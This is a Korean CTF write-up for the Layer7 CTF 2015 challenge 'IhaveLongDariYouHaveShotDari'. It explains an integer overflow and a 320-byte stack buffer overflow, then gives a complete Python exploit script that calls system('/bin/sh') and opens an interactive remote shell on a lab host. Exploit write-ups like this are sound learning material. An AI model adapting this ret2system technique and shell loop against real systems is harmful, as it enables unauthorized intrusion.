본문 바로가기

CTF/Write-up

Layer7 ctf 2015 IhaveLongDariYouHaveShotDari

프로그램을 실행하면 알람 함수가 있는데 타이머 같은거다 15초 제한


프로그램 실행 시 패스워드를 요구한다.

다 적혀있으니 좋고


다음으로 숫자를 입력받는데 v5변수를 사용하고

v8이 0x12C보다 높으면 아래의 메시지를 보여준다.


v5 변수를 살펴보면 __int16인걸 알 수 있다. 즉 범위가 0~65535까지 인 것이다.


그리고 마지막으로 names:를 입력받는데 v7의 크기는 


0x138로 312바이트 이다.


이제 실행해서 살펴보면


1단계 패스워드와 2단계 숫자는 무난하게 넘어갈 수 있다.

__int16의 범위가 65535이니 +1를 해준 값을 넣는다.


마지막으로 3단계에서 바이트를 320개를 넣어주면 세그먼테이션 폴트가 뜨는걸 볼 수 있다.


그렇다면 마지막에 320바이트를 넣어주고 시스템 함수를 호출해보자

/bin/sh와

시스템 함수의 주소가 다 파일안에 들어있기 때문에 고대로 넣어주면된다.

from socket import *
from struct import *
from time import sleep

p = lambda x: pack("<L", x)
up = lambda x: unpack("<L", x)[0]

passwd = "0z57cr40a2abc34103295de63bb2b36e"
v5 = "65536"
system = 0x08048570
sh = 0x0804A050

payload = "\x90"*320

payload += p(system)
payload += p(0x41414141)
payload += p(sh)

socket = socket(AF_INET, SOCK_STREAM)
socket.connect(("192.168.153.139", 1234))
print socket.recv(1024)
socket.send(passwd+"\n")
print socket.recv(1024)
socket.send(v5+"\n")
print socket.recv(1024)
socket.send(payload+"\n")
print socket.recv(1024)
sleep(1)
print socket.recv(1024)
sleep(1)
print socket.recv(1024)
sleep(1)
print socket.recv(1024)

while 1:
    command = raw_input("tory> ")
    send = socket.send(command+"\n")
    print socket.recv(1024)

실행한 모습



'CTF > Write-up' 카테고리의 다른 글

holyshield pwnit  (0) 2017.01.10
codegate 2013 vuln200  (0) 2017.01.08
Pico ctf 2014 rop1  (0) 2017.01.05
NEWSECU CTF Write-up  (0) 2017.01.01
holyshield ppc  (0) 2016.12.24